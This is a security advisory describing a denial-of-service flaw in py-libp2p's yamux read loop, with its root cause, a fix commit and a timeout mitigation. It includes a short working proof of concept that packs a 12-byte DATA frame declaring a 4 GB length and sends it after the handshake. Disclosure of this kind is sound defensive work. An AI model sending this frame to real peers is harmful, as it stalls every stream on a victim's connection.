high · 7.5Jul 24, 2026

py-libp2p yamux connection DoS via oversized DATA frame

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any peer that completes a standard libp2p handshake can permanently freeze a victim node's yamux read loop by sending a single 12-byte frame that claims a 4 GB body, killing all streams on that…

Packagelibp2p
Ecosystempip
Affected<= 0.6.0
py-libp2p yamux connection DoS via oversized DATA frame

The problem

The yamux handle_incoming() loop in py-libp2p reads the DATA frame body unconditionally before checking either the receive window or whether the stream ID exists. The length field is a raw 32-bit unsigned integer from the wire, so a peer can claim up to 4,294,967,295 bytes.

Once read_exactly suspends waiting for data that never arrives, the entire read loop blocks. Every stream on the connection stalls silently, no exception is raised, and there is no automatic recovery. The same unguarded read also exists in the SYN branch, so a crafted SYN frame triggers the same freeze.

Proof of concept

A working proof-of-concept for this issue in libp2p, with the exact payload below.

python
# 12-byte yamux DATA frame: version=0 type=DATA flags=0 stream_id=1 length=0xFFFFFFFF
import struct
HEADER_FMT = "!BBHII"
frame = struct.pack(HEADER_FMT, 0x00, 0x00, 0x0000, 0x00000001, 0xFFFFFFFF)
print(frame.hex())  # 000000000000000100000001ffffffff (12 bytes)

# Write directly to the attacker's secured_conn after noise handshake:
await attacker_yamux.secured_conn.write(frame)
# Victim's handle_incoming enters read_exactly(conn, 4294967295) and blocks forever.

The root cause is CWE-400: no upper bound is placed on the wire-supplied length field before passing it to read_exactly. The yamux spec (section 3.3) requires receivers to send RST when a sender exceeds the receive window (DEFAULT_WINDOW_SIZE = 256 * 1024), but py-libp2p skips that check entirely.

The fix in commit 146ea87 adds a MAX_YAMUX_FRAME = 256 * 1024 constant and rejects any DATA (or SYN) frame whose declared length exceeds it: the handler sends a RST frame and calls continue to skip the body read. This matches how go-yamux, rust-yamux, and js-libp2p-yamux all enforce receive-window limits on inbound frames.

The fix

Upgrade py-libp2p to the version that includes commit 146ea87d1a20cc7dacf684ecf7c204543be04b37. The patch adds a MAX_YAMUX_FRAME guard (256 KB) before every read_exactly call on DATA and SYN frames; frames that exceed the limit receive a RST and the loop continues normally.

As a defense-in-depth measure, wrapping handle_incoming iterations with a per-frame timeout (e.g., trio.fail_after(60)) bounds any future oversized-read paths.

Reported by tahaafarooq.

References: [1][2][3]

Related research